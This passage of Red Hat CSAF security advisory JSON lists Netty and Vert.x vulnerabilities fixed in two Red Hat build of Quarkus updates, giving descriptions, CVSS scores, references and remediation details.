          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56746"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56746",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56746"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5"
        }
      ],
      "release_date": "2026-07-21T21:36:18.627000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: Security control bypass allows unauthorized requests via null origin header"
    },
    {
      "cve": "CVE-2026-56819",
      "cwe": {
        "id": "CWE-911",
        "name": "Improper Update of Reference Count"
      },
      "discovery_date": "2026-07-21T23:03:36.448652+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2505980"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty, a network application framework. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted HTTP/2 DATA frames to applications that use Netty and have HTTP/2 content decompression enabled. This can lead to memory exhaustion, causing the application to crash and resulting in a Denial of Service (DoS). The issue occurs because the framework fails to release retained memory buffers when processing DATA frames for a stream whose decompressor has already been closed.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http2: Netty: Denial of Service via HTTP/2 DATA frame memory leak",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56819"
        },
        {
          "category": "external",
          "summary": "RHBZ#2505980",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2505980"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56819",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56819"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56819",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56819"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003bhttps://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003bhttps://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972"
        }
      ],
      "release_date": "2026-07-21T22:11:17.470000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-http2: Netty: Denial of Service via HTTP/2 DATA frame memory leak"
    },
    {
      "cve": "CVE-2026-59898",
      "cwe": {
        "id": "CWE-358",
        "name": "Improperly Implemented Security Check for Standard"
      },
      "discovery_date": "2026-07-09T00:00:00+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507479"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in netty-codec-http. The WebSocket handshaker in this component fails to properly validate protocol version information during the WebSocket upgrade process. A remote attacker can exploit this vulnerability by manipulating the WebSocket handshake, leading to a bypass of security checks or the negotiation of unexpected protocol versions. This could potentially enable protocol-level attacks.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: Protocol version confusion in netty-codec-http (WebSocket)",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Moderate flaw in Netty\u0027s WebSocket handshaker, specifically within `netty-codec-http`, could allow an attacker to bypass security checks or force unexpected protocol versions during the WebSocket upgrade process. This issue primarily impacts Red Hat products that leverage Netty for WebSocket communication, potentially leading to protocol-level attacks under certain deployment configurations.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59898"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507479",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507479"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59898"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59898",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59898"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
        }
      ],
      "release_date": "2026-07-09T00:00:00+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: Protocol version confusion in netty-codec-http (WebSocket)"
    },
    {
      "cve": "CVE-2026-59899",
      "cwe": {
        "id": "CWE-409",
        "name": "Improper Handling of Highly Compressed Data (Data Amplification)"
      },
      "discovery_date": "2026-07-09T00:00:00+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507482"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the Netty netty-codec-http component. A remote attacker can send HTTP requests containing highly compressed data. The HTTP decoder in netty-codec-http fails to properly limit the decompression of this content, causing the system to consume excessive memory. This can lead to memory exhaustion and a denial of service (DoS), making the service unavailable to legitimate users.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: Memory exhaustion in netty-codec-http (decompression bomb)",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important vulnerability in Netty\u0027s HTTP decoder, which could lead to a denial of service. Red Hat products utilizing `netty-codec-http` are susceptible to memory exhaustion when processing specially crafted, highly compressed HTTP payloads. This allows a remote attacker to trigger excessive memory allocation, impacting system availability.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59899"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507482",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507482"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59899"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59899",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59899"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
        },
        {
          "category": "external",
          "summary": "https://netty.io/news/2026/07/09/4-1-136-Final.html",
          "url": "https://netty.io/news/2026/07/09/4-1-136-Final.html"
        }
      ],
      "release_date": "2026-07-09T00:00:00+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: Memory exhaustion in netty-codec-http (decompression bomb)"
    },
    {
      "cve": "CVE-2026-59900",
      "discovery_date": "2026-07-09T00:00:00+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507480"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty\u0027s netty-codec-http2 component. The HTTP/2 encoder does not properly handle special characters in HTTP headers. This vulnerability allows a remote attacker to craft specific HTTP/2 requests, leading to HTTP response splitting and header injection attacks. Such attacks can enable an attacker to manipulate web content or inject malicious headers.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http2: Netty: Improper header neutralization in netty-codec-http2",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Moderate impact flaw in Netty\u0027s HTTP/2 encoder allows attackers to inject arbitrary header content via specially crafted HTTP/2 requests. This could lead to HTTP response splitting and header injection attacks in Red Hat products utilizing affected versions of netty-codec-http2.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59900"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507480",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507480"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59900",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59900"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59900",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59900"
        }
      ],
      "release_date": "2026-07-09T00:00:00+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "io.netty/netty-codec-http2: Netty: Improper header neutralization in netty-codec-http2"
    },
    {
      "cve": "CVE-2026-59921",
      "cwe": {
        "id": "CWE-93",
        "name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
      },
      "discovery_date": "2026-07-27T13:46:48.956000+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507467"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty\u0027s HttpPostRequestEncoder, a widely used Java networking library component responsible for constructing multipart HTTP request bodies. The issue arises because user-supplied filenames and field names are directly embedded into Content-Disposition MIME headers without any validation or sanitization of CRLF (\\r\\n) characters. Since MIME headers are delimited by CRLF sequences, an attacker who controls the filename in a multipart upload can inject arbitrary MIME headers into the request body. This may lead to limited Content-Type spoofing or header manipulation against middleware or storage layers processing the request, though the practical impact is constrained by the context in which Netty is deployed.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Moderate: A CRLF injection flaw in the Netty Java networking library\u0027s multipart message encoder allows remote attackers with low privileges to inject arbitrary MIME headers. This can lead to Content-Type spoofing, stored cross-site scripting, or manipulation of downstream application logic, compromising data confidentiality and integrity without user interaction.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.33.2.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59921"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507467",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507467"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59921",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59921"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59921",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59921"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
        }
      ],
      "release_date": "2026-07-09T00:00:00+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T01:40:45+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47172"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.7,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.33.2.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
    }
  ]
}

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update is now available for Red Hat build of Quarkus.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This release of Red Hat build of Quarkus 3.27.4.SP3 includes the following CVE fixes:\n\n* resteasy-reactive-client-processor: Quarkus REST - Unbounded multipart MIME part-header accumulation allows remote OOM denial of service [quarkus-3.27] (CVE-2026-16308)\n\n* vertx-core: Eclipse Vert.x: Information disclosure via improper handling of HTTP 30x redirects [quarkus-3.27] (CVE-2026-15075)\n\n* vertx-web-client: Eclipse Vert.x Web Client: Information disclosure via improper cookie domain validation [quarkus-3.27] (CVE-2026-15076)\n\n* netty-codec-http: Netty: Denial of Service via SPDY header decompression amplification [quarkus-3.27] (CVE-2026-55833)\n\n* netty-codec-http: Netty: Denial of Service via SPDY SETTINGS frame processing [quarkus-3.27] (CVE-2026-55831)\n\n* netty-codec-haproxy: Netty codec-haproxy: Denial of Service via crafted PROXY protocol v2 message [quarkus-3.27] (CVE-2026-55851)\n\n* netty-codec-http: Netty: Denial of Service via memory exhaustion in SPDY-to-HTTP codec [quarkus-3.27] (CVE-2026-56745)\n\n* netty-codec-http: Netty: Security control bypass allows unauthorized requests via null origin header [quarkus-3.27] (CVE-2026-56746)\n\n* netty-codec-http2: Netty: Denial of Service via HTTP/2 DATA frame memory leak [quarkus-3.27] (CVE-2026-56819)\n\n* netty-codec-http: Netty: Memory exhaustion in netty-codec-http (decompression bomb) [quarkus-3.27] (CVE-2026-59899)\n\n* netty-codec-http: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder [quarkus-3.27] (CVE-2026-59921)\n\n* netty-codec-http2: Netty: Improper header neutralization in netty-codec-http2 [quarkus-3.27] (CVE-2026-59900)\n\n* netty-codec-http: Netty: Protocol version confusion in netty-codec-http (WebSocket) [quarkus-3.27] (CVE-2026-59898)\n\nFor more information, see the release notes page listed in the References section.",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:47189",
        "url": "https://access.redhat.com/errata/RHSA-2026:47189"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/#important",
        "url": "https://access.redhat.com/security/updates/classification/#important"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/products/quarkus/",
        "url": "https://access.redhat.com/products/quarkus/"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.27.4.SP3",
        "url": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.27.4.SP3"
      },
      {
        "category": "external",
        "summary": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.27",
        "url": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.27"
      },
      {
        "category": "external",
        "summary": "QUARKUS-8544",
        "url": "https://issues.redhat.com/browse/QUARKUS-8544"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_47189.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat build of Quarkus 3.27.4.SP3 security update",
    "tracking": {
      "current_release_date": "2026-07-30T19:36:03+00:00",
      "generator": {
        "date": "2026-07-30T19:36:03+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.8"
        }
      },
      "id": "RHSA-2026:47189",
      "initial_release_date": "2026-07-29T14:54:22+00:00",
      "revision_history": [
        {
          "date": "2026-07-29T14:54:22+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-07-29T14:54:22+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-07-30T19:36:03+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat build of Quarkus 3.27.4.SP3",
                "product": {
                  "name": "Red Hat build of Quarkus 3.27.4.SP3",
                  "product_id": "Red Hat build of Quarkus 3.27.4.SP3",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:quarkus:3.27::el8"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat build of Quarkus"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-15075",
      "cwe": {
        "id": "CWE-346",
        "name": "Origin Validation Error"
      },
      "discovery_date": "2026-07-14T09:01:12.413297+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2499919"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Eclipse Vert.x. The `DefaultRedirectHandler` in `vertx-core` improperly handles HTTP 30x redirects by propagating all request headers, including sensitive authentication and session credentials, to cross-origin redirect destinations. An attacker can exploit this by redirecting a Vert.x HttpClient request to a malicious host. This allows the attacker to capture sensitive information such as bearer tokens, basic authentication credentials, session cookies, and API keys, leading to unauthorized access or further attacks.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "vertx-core: Eclipse Vert.x: Information disclosure via improper handling of HTTP 30x redirects",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important information disclosure flaw in Eclipse Vert.x\u0027s `DefaultRedirectHandler` that affects Red Hat products utilizing `vertx-core` for HTTP client operations. The vulnerability allows sensitive request headers, such as authentication tokens and session cookies, to be forwarded to arbitrary external domains during HTTP 30x redirects. This could enable an attacker to capture credentials if they can induce a Vert.x HttpClient to redirect to a malicious server, potentially leading to unauthorized access.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-15075"
        },
        {
          "category": "external",
          "summary": "RHBZ#2499919",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499919"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-15075",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15075"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-15075",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15075"
        },
        {
          "category": "external",
          "summary": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/161",
          "url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/161"
        }
      ],
      "release_date": "2026-07-14T08:15:53.650000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        },
        {
          "category": "workaround",
          "details": "To mitigate this issue, configure applications utilizing Vert.x HttpClient to strictly validate and restrict the URLs to which HTTP requests can be redirected. Implement allowlists for trusted domains and ensure that any user-supplied or external URLs processed by Vert.x HttpClient are thoroughly sanitized and validated to prevent redirection to attacker-controlled destinations. This may involve updating application-specific configurations or implementing custom URL validation logic. A service restart or reload may be required for changes to take effect.",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
